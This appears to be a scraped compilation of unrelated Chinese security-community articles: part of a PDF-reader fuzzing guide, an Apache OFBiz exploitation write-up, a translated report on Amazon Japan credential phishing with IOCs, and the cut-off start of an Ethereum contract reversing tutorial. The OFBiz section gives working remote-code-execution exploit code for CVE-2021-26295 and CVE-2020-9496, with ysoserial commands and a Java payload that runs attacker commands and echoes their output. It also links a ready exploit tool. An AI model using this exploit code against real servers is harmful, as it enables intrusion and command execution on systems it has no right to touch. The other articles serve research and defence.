密切关注安全公告是观察安全趋势状态的好方法。 最重要的是，我们可以知道哪个组件存在缺陷。 以下是值得一读的公告：
* Zero Day Initiative’s Advisory [9]
* Chromium Issue Tracker [10]
* Adobe Security Bulletins and Advisories [11]
## 2.3 安装文件
对于闭源软件，查找攻击面的一种好方法是调查安装目录下的文件，尤其是可执行文件。 为了弄清楚特定可执行文件的功能，我们可以关注以下信息。
* 文件名
* 属性
* 内部字符串，包括ASCII和Unicode字符串
* 功能名称，包括内部符号和导出功能
* 版权信息
例如，通过分析文件的属性，我们可以得出结论，Adobe Reader安装目录中的文件JP2KLib.dll负责解析JPEG2000图像。
下图显示了该文件的属性页：
下图显示了部分文件在Adobe Acrobat and Reader的安装目录中的角色：
## 2.4 开源项目
找到攻击面的另一种方法是调查类似的开源项目。 PDFium是一个著名的开源PDF渲染引擎，它基于Foxit
Reader的技术，由Chromium的开发人员维护。
事实上，通过比较PDFium的源代码和Foxit Reader的反汇编代码，我们可以在PDFium和Foxit Reader之间找到许多类似的代码。
我们可以通过分析PDFium的源代码来尝试找到攻击面。 但对于PDFium，另一种方法是分析libFuzzer组件。 目前，PDFium在“testing
/ libfuzzer”目录中有19个官方fuzzer[12]。 下图显示了这些fuzzer的详细信息：
# 3.测试用例
测试用例或种子文件在fuzz过程中起着重要作用。 对于传统的基于突变的模糊测试器，更多测试用例意味着更多可能的代码覆盖率，这最终意味着更多可能的崩溃。
要收集更多测试用例，在大多数情况下编写爬虫是一个可选项，但有一些替代方法。 在这里，我总结了两种可能的方法来收集测试用例。
## 3.1 基于代码覆盖测试用例的模糊器
American fuzzy lop（a.k.a AFL）和libFuzzer是两个着名的基于代码覆盖的模糊器。 对于AFL
fuzzer，单个和小型测试用例足以驱动模糊测试过程。
对于libFuzzer，它通常使用一组最小化的测试用例作为输入数据，但即使没有任何初始测试用例，它仍然可以工作。
这两个模糊器的共同特点是它们将生成大量测试用例以获得更高的代码覆盖率。 那么为什么不重用AFL或libFuzzer生成的测试用例呢？
为了实现这一目标，我们必须使用AFL或libFuzzer来模糊开源库或类似的库。 下图显示了此方法的过程:
## 3.2 开源项目的测试套件
收集测试用例的另一种方法是重用开源项目的测试套件。 一般来说，流行的开源项目还维护着一个包含大量有效和无效文件的测试套件存储库。
某些测试用例可能会直接崩溃旧版本的二进制文件。 使用测试套件作为模糊器的种子文件是个好主意。 对于不常用的文件格式，甚至很难从搜索引擎中抓取一些。
例如，很难从Google收集一些JPEG2000图像，但是你可以从OpenJPEG中获取数百个文件[13]。 下图显示了一些可用的测试套件：
# 4.fuzzing 技巧
效率是模糊器的重要指标，尤其是在计算资源有限的情况下。 在这里，我总结了两个提高效率的fuzzing 技巧。
## 4.1 编写PDF制作工具
一般而言，PDF文件由纯文本和二进制数据组成。
如果你已经有一个具体的目标，如图像，字体等，那么直接模糊PDF并不是一个好主意。我们可以编写PDF制作工具，这样我们就只会改变我们感兴趣的数据。
有些第三方PDF制造商可以将文件（如图像和字体）转换为PDF文件。 但它不是推荐的解决方案，因为工具中的错误检查功能可能会导致丢失大量错误的测试用例。
在这种情况下，建议阅读标准文档并编写临时PDF制作工具。 PDF文件制作工具的技术细节将不在本文中讨论，因为它不是一项艰巨的任务。
## 4.2 Fuzz 第三方库
大型软件使用开源库并不奇怪。 尝试模糊第三方库来揭示安全漏洞是值得的。 以下显示了模糊第三方库的优点：
* 使用AFL或libFuzzer的Fuzz开源库效率更高
* 目标软件可能受已知漏洞的影响
* 零日漏洞影响使用该库的所有目标软件
下图显示了Adobe Acrobat and Reader使用的一些开源项目：
去年，我在libtiff的PixarLogDecode函数中发现了一个Out-of-Bounds写漏洞，并向Chromium报告。
这些帖子表明谷歌[14]的Mathias Svensson和思科Talos的Tyler Bohan [15]也发现了这个漏洞。
此漏洞的CVE标识符为CVE2016-5875。
下面显示受此漏洞影响的PDF阅读器：
对于Adobe Acrobat and Reader，渲染引擎未受影响，因为未在AcroForm.api中配置PixarLog压缩支持。
对于谷歌浏览器，启用了XFA的Canary，Dev和Beta版本受到影响（很快就会在Chrome
Canary，Dev和Beta版本中启用XFA，很快就会停用）。 对于Foxit Reader，渲染引擎和ConvertToPDF插件都受到了影响。
## 4.3 编写包装器
PDF阅读器或Web浏览器是大型软件，创建这些产品的实例非常耗时，尤其是在模糊测试过程中反复创建实例。
为避免加载不必要的模块并初始化不必要的数据，编写包装器是一个不错的选择。
对于开源项目，编写包装器非常容易。 对于提供API的产品，例如Foxit Reader和Windows PDF Library，编写包装器也不难。
但对于不符合上述条件的产品，我们可能需要进行一些逆向工程来编写包装器。
Windows.Data.PDF.dll负责在Edge浏览器中呈现PDF，并且自Windows 8.1起在操作系统中提供。
可以通过Windows运行时API进行交互。 文章[16]展示了如何使用C ++编写用于呈现PDF的包装器。
# 5.结果
该研究始于2015年12月。它主要关注Adobe Acrobat and Reader，并且在这个产品中发现了大多数漏洞。
但是，这并不意味着这个产品比其他PDF阅读器更容易受到攻击。
在去年，122个漏洞已被供应商修补并分配了CVE编号。应该注意的是，如果漏洞满足以下条件之一，则将被排除在外：
* 不影响稳定版PDF阅读器的漏洞
* 供应商尚未解决的漏洞
* 其他研究人员报告的漏洞
下图显示了按供应商排序的漏洞分布：
下图显示了按攻击面排序的漏洞分布：
再一次，应该注意的是，本文中的漏洞数据仅供参考，并不意味着哪个产品比其他产品更容易受到攻击。
# 6.参考文献
[1]. Document management - Portable document format - Part 1: PDF 1.7,
<http://www.adobe.com/content/dam/Adobe/en/devnet/acrobat/pdfs/PDF32000_2008.pdf>
[2]. Dumb fuzzing XSLT engines in a smart way,
<http://www.nosuchcon.org/talks/2013/D1_04_Nicolas_Gregoire_XSLT_Fuzzing.pdf>
[3]. Abusing Adobe Reader’s JavaScript APIs,
<https://media.defcon.org/DEF%20CON%2023/DEF%20CON%2023%20presentations/DEFCON-23-Hariri-Spelman-Gorenc-Abusing-Adobe-Readers-JavaScript-APIs.pdf>
[4]. Abusing the Reader’s embedded XFA engine for reliable Exploitation,
<https://www.syscan360.org/slides/2016_SG_Sebastian_Apelt_Pwning_Adobe_Reader-Abusing_the_readers_embedded_XFA_engine_for_reliable_Exploitation.pdf>
[5]. ISO 32000-1:2008, <https://www.iso.org/standard/51502.html>
[6]. JavaScript for Acrobat API Reference,
<http://www.adobe.com/content/dam/Adobe/en/devnet/acrobat/pdfs/js_api_reference.pdf>
[7]. XML Forms Architecture (XFA) Specification,
[http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.364.2157&rep=rep1&type=pdf](http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.364.2157&rep=rep1&type=pdf)
[8]. FormCalc User Reference,
<http://help.adobe.com/en_US/livecycle/es/FormCalc.pdf>
[9]. Zero Day Initiative’s published advisories,
<http://www.zerodayinitiative.com/advisories/published/>
[10]. Chromium issue tracker,
[https://bugs.chromium.org/p/chromium/issues/list?can=1&q=Type=%22Bug-Security%22](https://bugs.chromium.org/p/chromium/issues/list?can=1&q=Type=%22Bug-Security%22)
[11]. Adobe Security Bulletins and Advisories,
<https://helpx.adobe.com/security.html#acrobat>
[12]. Official fuzzers for PDFium,
<https://pdfium.googlesource.com/pdfium/+/refs/heads/master/testing/libfuzzer/>
[13]. OpenJPEG data, <https://github.com/uclouvain/openjpeg-data>
[14]. Seclists, <http://seclists.org/oss-sec/2016/q2/623>
[15]. LibTIFF Issues Lead To Code Execution,
<http://blog.talosintelligence.com/2016/10/LibTIFF-Code-Execution.html>
[16]. Using WinRT API to render PDF,
<http://dev.activebasic.com/egtra/2015/12/24/853/> | 社区文章 |
## 0x00 前言
最近学习了下apache
ofbiz的的两个cve，CVE-2021-26295与CVE-2020-9496，然后想起来目前还没有关于回显的exp，于是手动调了一下回显的利用，（其实是逮住kingkk师傅的回显思路一顿薅：[Tomcat中一种半通用回显方法](https://xz.aliyun.com/t/7348)。
## 0x01 环境搭建以及回显payload
环境搭建主要参考这篇文章 <https://www.cnblogs.com/ph4nt0mer/p/13576739.html>
wget http://archive.apache.org/dist/ofbiz/apache-ofbiz-17.12.01.zip
unzip apache-ofbiz-17.12.01.zip
cd apache-ofbiz-17.12.01
sh gradle/init-gradle-wrapper.sh
./gradlew cleanAll loadDefault
./gradlew "ofbiz --load-data readers=seed,seed-initial,ext"
./gradlew ofbiz # Start OFBiz
在idea中导入进行调试
## 0x02 CVE-2021-26295 回显
CVE-2021-26295实际上是反序列化白名单的绕过，由漏洞触发点
java/org/apache/ofbiz/base/util/SafeObjectInputStream.java
中可以看到关键代码如下
虽然使用了SafeObjectInputStream进行封装（白名单校验），但忽略java.*当中还有java.rmi.*可以进行调用。看了下先知上关于这个漏洞的分析文章感叹构造poc进行完整利用的师傅实在是太强了。
网上通用的rce攻击步骤为
（1）使用yososerial生成jrmpclient的payload，然后保存至
#coding:utf-8
import subprocess
ip = "127.0.0.1"
port = "12345"
popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', "JRMPClient", "{}:{}".format(ip, port)], stdout=subprocess.PIPE)
payload = popen.stdout.read()
post_data = payload.hex().upper()
print(post_data)
（2）监听jrmp Listener
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 9999 CommonsBeanutils1 "calc.exe"
因为不是直接回显，所以一般选择使用dnslog或者其他反弹shell的方式进行利用。
由于攻击exp要集成到工具中并且简化利用，因此多次使用已公开回显payload进行调试，最终找到了可回显的payload，基本上是对[《Tomcat中一种半通用回显方法》](https://xz.aliyun.com/t/7348)的payload的复用。直接通过在org.apache.catalina.core.ApplicationFilterChain中的lastServicedRequest和lastServicedResponse来获取request和response，request获得传入的参数，response中设置执行命令后的响应内容。
Tomcat回显代码如下（直接从kingkk的payload上复制下来即可）
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.connector.Response;
import org.apache.catalina.connector.ResponseFacade;
import org.apache.catalina.core.ApplicationFilterChain;
import java.io.InputStream;
import java.lang.reflect.Field;
import javax.servlet.*;
import java.lang.reflect.Modifier;
import java.util.Scanner;
public class EvilTemplatesImpl extends AbstractTranslet {
static {
try {
Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");
Field lastServicedResponseField = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse");
Field modifiersField = Field.class.getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(WRAP_SAME_OBJECT_FIELD, WRAP_SAME_OBJECT_FIELD.getModifiers() & ~Modifier.FINAL);
modifiersField.setInt(lastServicedRequestField, lastServicedRequestField.getModifiers() & ~Modifier.FINAL);
modifiersField.setInt(lastServicedResponseField, lastServicedResponseField.getModifiers() & ~Modifier.FINAL);
WRAP_SAME_OBJECT_FIELD.setAccessible(true);
lastServicedRequestField.setAccessible(true);
lastServicedResponseField.setAccessible(true);
ThreadLocal<ServletResponse> lastServicedResponse =
(ThreadLocal<ServletResponse>) lastServicedResponseField.get(null);
ThreadLocal<ServletRequest> lastServicedRequest = (ThreadLocal<ServletRequest>) lastServicedRequestField.get(null);
boolean WRAP_SAME_OBJECT = WRAP_SAME_OBJECT_FIELD.getBoolean(null);
String cmd = lastServicedRequest != null
? lastServicedRequest.get().getParameter("cmd")
: null;
if (!WRAP_SAME_OBJECT || lastServicedResponse == null || lastServicedRequest == null) {
lastServicedRequestField.set(null, new ThreadLocal<>());
lastServicedResponseField.set(null, new ThreadLocal<>());
WRAP_SAME_OBJECT_FIELD.setBoolean(null, true);
} else if (cmd != null) {
ServletResponse responseFacade = lastServicedResponse.get();
ServletRequest request_test = lastServicedRequest.get();
ServletContext servletContext = request_test.getServletContext();
responseFacade.getWriter();
java.io.Writer w = responseFacade.getWriter();
Field responseField = ResponseFacade.class.getDeclaredField("response");
responseField.setAccessible(true);
Response response = (Response) responseField.get(responseFacade);
Field usingWriter = Response.class.getDeclaredField("usingWriter");
usingWriter.setAccessible(true);
usingWriter.set((Object) response, Boolean.FALSE);
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
w.write(output);
w.flush();
}
}catch (Exception e){
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler)
throws TransletException {
}
}
由于ysoserial整个项目包过于庞大，因此这里直接从ysoserial调了关键部分的利用链CommonsBeantuils1代码
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.beanutils.BeanComparator;
import org.example.EvilTemplatesImpl;
import java.io.IOException;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class JRMPTest {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String args[]) throws Exception {
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{
ClassPool.getDefault().get(EvilTemplatesImpl.class.getName()).toBytecode()
});
setFieldValue(obj, "_name", "EvilTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
final BeanComparator comparator = new BeanComparator();
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
// stub data for replacement later
queue.add(1);
queue.add(1);
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});
JRMPListener jrmpListener = new JRMPListener(12345,queue);
jrmpListener.run();
}
}
最终利用截图为
调试时踩过一些坑，比如每次生成的jrmpclient的poc触发server去连接远程的jrmpserver只能触发一次，要想每次都触发必须得重新生成（检查了下代码应该是objid得重新生成）不过我对rmi的理解还是不够，若有理解错误的点，师傅们指出我改正。
## 0x03 CVE-2020-9496 回显
漏洞大致原理为通过/webtools/control/xmlrpc接口，传入XML-RPC数据，通过XmlRpcEventHandler的getRequest方法对该数据进行解析。
接着调用scanDocument对xml元素进行扫描解析。
解析serialize标签时，getParser方法判断pUri是否与EXTENSIONS_URI相等，接着进入道SerializerParser进行反序列化操作
最终取出serializable标签中的数据进行反序列化。
回显利用部分代码如下
import java.io.*;
import java.lang.reflect.Field;
import java.math.BigInteger;
import java.util.Base64;
import java.util.PriorityQueue;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;
import ysoserial.payloads.util.ClassFiles;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.Reflections;
public class CommonsBeanutilsTest {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
}
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
public static Object getFieldValue(final Object obj, final String fieldName) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
return field.get(obj);
}
public static void main(String args[]) throws Exception {
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{
ClassPool.getDefault().get(EvilTemplatesImpl.class.getName()).toBytecode()
});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
final BeanComparator comparator = new BeanComparator();
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
// stub data for replacement later
queue.add(1);
queue.add(1);
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
String a = Base64.getEncoder().encodeToString(barr.toByteArray());
System.out.println(a);
}
}
## 0x04 回显利用工具集成与使用
### 1、CVE-2021-26295
Listen-AllServer，选择一个端口开启jrmp监听
选择对应的exp
选择远程监听的端口，payload，填入url和命令，选择exploit即可成功利用
### 2、CVE-2020-9496
选择相应的exp
填入目标url即可
## 0x05 工具地址
<https://github.com/MrMeizhi/DriedMango>
## 0x06 参考
<https://xz.aliyun.com/t/8184>
<https://xz.aliyun.com/t/9345>
<https://xz.aliyun.com/t/8324>
<https://github.com/dwisiswant0/CVE-2020-9496>
<https://xz.aliyun.com/t/7348>
<https://kylingit.com/blog/cve-2020-9496-apache-ofbiz-xmlrpc-rce%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/>
<https://www.cnblogs.com/ph4nt0mer/p/13576739.html> | 社区文章 |
**译者：知道创宇404实验室翻译组**
**原文链接：<https://www.proofpoint.com/us/blog/threat-insight/geofenced-amazon-japan-credential-phishing-volumes-rival-emotet>**
### 介绍
自2020年8月以来，Proofpoint的研究人员跟踪了大量的Amazon
Japan凭证和信息网络钓鱼活动，这种可疑活动可追溯到2020年6月。这些信息冒充Amazon
Japan，暗示接收者需要检查他们的帐户，以确认“所有权”或“更新的付款信息”。单击邮件中的链接后，收件人将进入以Amazon为主题的凭证仿冒登录页面，这些页面收集凭证、个人识别信息（PII）和信用卡号码。这些信息已经被发送到日本的某些组织。这些页面被防护，以确保只有基于日本的收件人才能被带到凭证仿冒页面。
虽然像Amazon这样的流行品牌经常在凭证钓鱼活动中被滥用，但该活动的邮件信息量非常大。这些活动持续不断，每天发送数十万条信息。截至10月中旬，有时一天内收到的信息超过100万条，与Emotet的信息量不相上下。
### 诱饵和登陆页面
这些信息是精心制作的日语诱饵，提示收件人的信息需要更新或其帐户已被锁定：
* Amazon.co.jpアカウント所有権の证明（名前，その他个人情报）の确认（“ Amazon.co.jp帐户（姓名和其他个人信息）的所有权证明的确认”）（图1）
* お支払い方法の情报を更新（“更新的付款方式信息”）（图2）
* アカウントがロックされたので，ご注意下さい（“请注意，您的帐户已被锁定”）（图3）
图1：带有主题的诱惑，“确认Amazon.co.jp帐户的所有权证明（名称和其他个人信息）”
图2：带有主题的诱饵，“更新的付款方式信息”
图3：带有主题的诱饵，“请注意您的帐户已被锁定”
邮件中的图片，比如Amazon的logo，都是从免费的图片托管服务中热链接而来的，同样的图片网址已经在多个活动中被观察到。
这些信息声称来自Amazon，尽管它们的电子邮件地址伪装的不太好，例如以下示例：
* rmlirozna[@]pw[.]com
* fwgajk[@]zfpx[.]cn
* info[@]bnwuabd[.]xyz
* dc[@]usodeavp[.]com
到2020年10月初，他们在努力使发件人地址看起来合法：
* amaozn[@]ama2on[.]buzz
* accout-update[@]amazon[.]co.jp
* account-update[@]amazon[.]com
* admin[@]amazon-mail[.]golf
在检查消息的URLs时，我们看到它们包含OpenID的参数（图4），这是Amazon
Japan使用的身份验证协议。这些URL似乎没有将用户带到OpenID实现中，但是URL字符串中的参数看起来更合法。
我们确定了一些URL中的占位符值，这表明有些消息可能过早发送，或者相应的值不可用（图4）。
图4：带有BRECEIVER_ADDRESS和BRAND_TEXT变量的URL
他们在某些URL中使用了一个占位符电子邮件地址“[email protected]”（图5）。在观察到的其他URL中，收件人电子邮件地址用来填充此参数。
图5：URL用[email protected]和OpenID路径代替变量
单击后，消息中的geofenced链接会将用户带到一个冒充的Amazon Japan登录页面（图6），如果用户看起来不在日本，则转到实际的Amazon
Japan登录页面。
图6：欺骗的Amazon Japan登录页面
使用Amazon用户名和密码“登录”后，该用户将被带到一个表单，该表单收集各种PII，例如地址，生日和电话号码（图7）。
图7：网络钓鱼登陆页面，要求用户的国家，名称，生日，邮政编码，县（州），街道地址，商户名称（可选）和电话号码
该表单还收集信用卡号（通过在同一站点上托管的脚本进行松散地验证）和邮政编码（通过对第三方服务的API调用进行验证）（图8、9）。有趣的是，虽然我们提供的邮政编码不是合法的日语邮政编码，但是在提交信息时未返回任何错误。
图8：指示最初提供的信用卡号（长度错误的随机数字字符串）无效
图9：截取的流量说明了对“zipcloud.ibsnet[.]co.jp”的调用以进行邮政编码验证，以及对“/ap/actions/validate?cxdi=”的调用以进行信用卡号验证。
提交有效信息后，告知用户现在可以访问帐户，并重定向到amazon.co[.]jp的真实Amazon Japan网站。
图10：提交后页面通知用户可以访问帐户
### 信息量
图11：信息量，2020年8月至10月
自8月中旬以来，Proofpoint一直在跟踪这些消息，目前已经确定这与2020年6月的活动是同一个组织。尽管消息以日语显示，并且登录页面已设置为日语IP地址，但除了位于日本的业务以外，收件人或行业之间没有明确的模式。在未来几个月中，邮件量可能会继续增加。
Month | Average Message Volume Per Day
---|---
August (from 8/18-8/30) | 122,000
September | 424,000
October (to date) | 750,000
### 基础设施
通常，凭据仿冒登录页是一个IP地址，后跟“/ap/signin”：
* hxxp://103.192.179[.]54/ap/signin
很少使用域来代替IP地址：
* 00pozrjbpm[.]xyz/ap/signin
由于攻击者倾向于为每个活动采用新的IP地址，而不是重用IP地址，因此，数百个IP地址已在多个活动中使用。IP地址属于多种自治系统，在地理位置或提供者之间没有明确的模式。
图12：2020年8月至10月，迄今为止诱饵中使用的IP地址的Top AS名称
使用的域是 _.xyz或_.cn tld，有些域已经在多个活动中观察到。.xyz域名通过GoDaddy注册，而*.cn域名则有一个发起注册商（阿里云计算）。
**8月30日-9月5日活动登录页域**
Domain | Creation Date | Registrant Details
---|---|---
00pozrjbpm[.]xyz | 2020-04-24 | Registrant State/Province: Xiang
Gang(Registrant Country: CN)
1mmmms2jy8[.]xyz | 2020-06-14 | Registrant State/Province: Xiang
Gang(Registrant Country: CN)
4lz1qen0ls[.]xyz | 2020-06-14 | Registrant State/Province: Xiang
Gang(Registrant Country: CN)
5b0rnizmhn[.]xyz | 2020-04-24 | Registrant State/Province: Xiang
Gang(Registrant Country: CN)
虽然这些域的注册者数据在我们检查的时候已经被编辑过了，但是我们发现了“创建日期”和几个注册者详细信息字段之间的共性。
**9月6-12日活动登录页域**
Domain | Creation Date | Registrant Details
---|---|---
00pozrjbpm[.]xyz | 2020-04-24 | Registrant State/Province: Xiang
Gang;Registrant Country: CN
jiyingkou[.]cn | 2019-09-20 | Registrant: 王帅国;Registrant Contact
Email:rxbnn3[@]163[.]com
enjinchang[.]cn | 2019-09-19 | Registrant: 王帅国;Registrant Contact
Email:rxbnn3[@]163[.]com
juhaicheng[.]cn | 2019-09-20 | Registrant: 王帅国;Registrant Contact
Email:rxbnn3[@]163[.]com
getongliao[.]cn | 2019-09-20 | Registrant: 王帅国;Registrant Contact
Email:rxbnn3[@]163[.]com
除了从8月30日至9月5日的活动中的00pozrjbpm[.]xyz之外，9月6日至12日活动的域具有共同的特性。与前面的一组域一样，创建日期和注册者信息表明它们可能以某种方式相关。此外，“rxbnn3[@]163[.]com”是一个多产的域名注册人。除了上面显示的与rxbnn3[@]163[.]com关联的域外，该电子邮件还链接到许多域生成算法：
* swwkppe[.]cn
* lmkafwgi[.]cn
* pdscmkq[.]cn
* awsmgrc[.]cn
### 结论
Amazon的品牌通常会受到攻击，但这次活动的数量和持续性使他们与以往Amazon主题的活动有所不同。消息资产、登录页的一致重用和消息量的稳步增长表明，这种活动可能是由僵尸网络驱动的。此外，周末消息量并没有明显的停顿，正如我们有时观察到自动化程度较低的操作。如果这确实是由僵尸网络驱动的，那么消息量不太可能会很快减少。攻击者通常会对其操作进行渐进式的更改，其他的品牌可能是未来几个月攻击者的方向。
### IOCs
IOC | IOC Type | Description
---|---|---
hxxp://182.16.26[.]194/ap/signin | URL | Amazon Japan credential phish landing
page
hxxp://23.133.5[.]144/ap/signin | URL | Amazon Japan credential phish landing
page
hxxp://43.249.30[.]212/ap/signin | URL | Amazon Japan credential phish landing
page
00pozrjbpm[.]xyz/ap/signin | URL | Amazon Japan credential phish landing page
jiyingkou[.]cn/ap/signin | URL | Amazon Japan credential phish landing page
enjinchang[.]cn/ap/signin | URL | Amazon Japan credential phish landing page
* * * | 社区文章 |
# 逆向分析以太坊智能合约（part1）
##### 译文声明
本文是翻译文章，文章原作者 Brandon Arvanaghi，文章来源：arvanaghi.com
原文地址：<https://arvanaghi.com/blog/reversing-ethereum-smart-contracts/>
译文仅供参考，具体内容表达以及含义原文为准。
**逆向分析以太坊智能合约（part2） 传送门：[
https://www.anquanke.com/post/id/106984](https://www.anquanke.com/post/id/106984)**
## 一、前言
在本文中，我会向大家介绍以太坊虚拟机（Ethereum Virtual Machine，EVM）的工作原理，以及如何对智能合约（smart
contract）进行逆向分析。
为了反汇编智能合约，我使用了Trail of Bits开发的适用于[Binary
Ninja](https://binary.ninja/)的[Ethersplay](https://github.com/trailofbits/ethersplay)插件。
## 二、以太坊虚拟机
以太坊虚拟机（EVM）是一种 **基于栈** 的、 **准图灵完备** （quasi-Turing complete）的虚拟机。
1） **基于栈** ：EVM并不依赖寄存器，任何操作都会在栈中完成。操作数、运算符以及函数调用都置于栈中，并且EVM知道如何处理数据、执行智能合约。
以太坊使用Postfix Notation（后缀表示法）来实现基于栈的运行机制。简而言之，操作符最后压入栈，可以作用于先前压入栈的数据。
举个例子：来看一下`2 +
2`操作，在脑海中，我们知道中间的运算符（`+`）表示我们想执行2加2这个操作。将`+`放在两个操作数之间是一种办法，我们也可以将它放在两个操作数后面，即`2
2 +`，这就是后缀表示法。
2） **准图灵完备** ：如果一切可计算的问题都能计算，那么这样的编程语言或者代码执行引擎就可以称为“图灵完备（Turing
complete）”。这个概念并不在意解决问题的时间长短，只要理论上该问题能被解决即可。比特币脚本语言不能称为图灵完备语言，因为该语言的应用场景非常有限。
在EVM中，我们可以解决所有问题。但我们还是将其成为“准图灵完备”，这主要是因为成本限制问题。`gas`是EVM中的一个可计算单位，可以用来衡量操作所需的成本。当某人在区块链上发起交易时，交易代码以及待执行的任何后续代码都需要在矿工的主机上执行。由于代码需要在矿工的内存中执行，这个过程会消耗矿工主机的成本，如电力成本、内存以及CPU计算成本等。
为了激励矿工来保证交易顺利进行，发起交易的那个人需要声明`gas
price`，或者他们愿意为每个计算单元支付的价格。将这个因素考虑在内后，对于非常复杂的问题，所需的gas量将变得非常庞大，此时由于我们需要为gas定价，因此在以太坊中，从经济角度来考虑的话复杂的交易并不划算。
## 三、Bytecode以及Runtime Bytecode
在编译合约时，我们可以得到 _contract bytecode_ （合约字节码）或者 _runtime bytecode_ （运行时字节码）。
**contract bytecode** 是最终存储在区块链中的字节码，也是将字节码存放在区块链、初始化智能合约（运行构造函数）时所需的字节码。
**runtime bytecode** 只对应于存储在区块链中的字节码，与合约初始化和存放过程无关。
让我们以`Greeter.sol`合约为例来分析两者的不同点。
contract mortal {
/* Define variable owner of the type address */
address owner;
/* This function is executed at initialization and sets the owner of the contract */
function mortal() { owner = msg.sender; }
/* Function to recover the funds on the contract */
function kill() { if (msg.sender == owner) selfdestruct(owner); }
}
contract greeter is mortal {
/* Define variable greeting of the type string */
string greeting;
/* This runs when the contract is executed */
function greeter(string _greeting) public {
greeting = _greeting;
}
/* Main function */
function greet() constant returns (string) {
return greeting;
}
}
使用`solc --bin Greeter.sol`命令来编译合约、获取合约字节码时，我们可以得到如下结果：
6060604052341561000f57600080fd5b6040516103a93803806103a983398101604052808051820191905050336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508060019080519060200190610081929190610088565b505061012d565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106100c957805160ff19168380011785556100f7565b828001600101855582156100f7579182015b828111156100f65782518255916020019190600101906100db565b5b5090506101049190610108565b5090565b61012a91905b8082111561012657600081600090555060010161010e565b5090565b90565b61026d8061013c6000396000f30060606040526004361061004c576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806341c0e1b514610051578063cfae321714610066575b600080fd5b341561005c57600080fd5b6100646100f4565b005b341561007157600080fd5b610079610185565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100b957808201518184015260208101905061009e565b50505050905090810190601f1680156100e65780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610183576000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16ff5b565b61018d61022d565b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156102235780601f106101f857610100808354040283529160200191610223565b820191906000526020600020905b81548152906001019060200180831161020657829003601f168201915b5050505050905090565b6020604051908101604052806000815250905600a165627a7a723058204138c228602c9c0426658c0d46685e1d9c157ff1f92cb6e28acb9124230493210029
如果使用`solc --bin-runtime Greeter.sol`命令来编译时，我们可以得到如下结果：
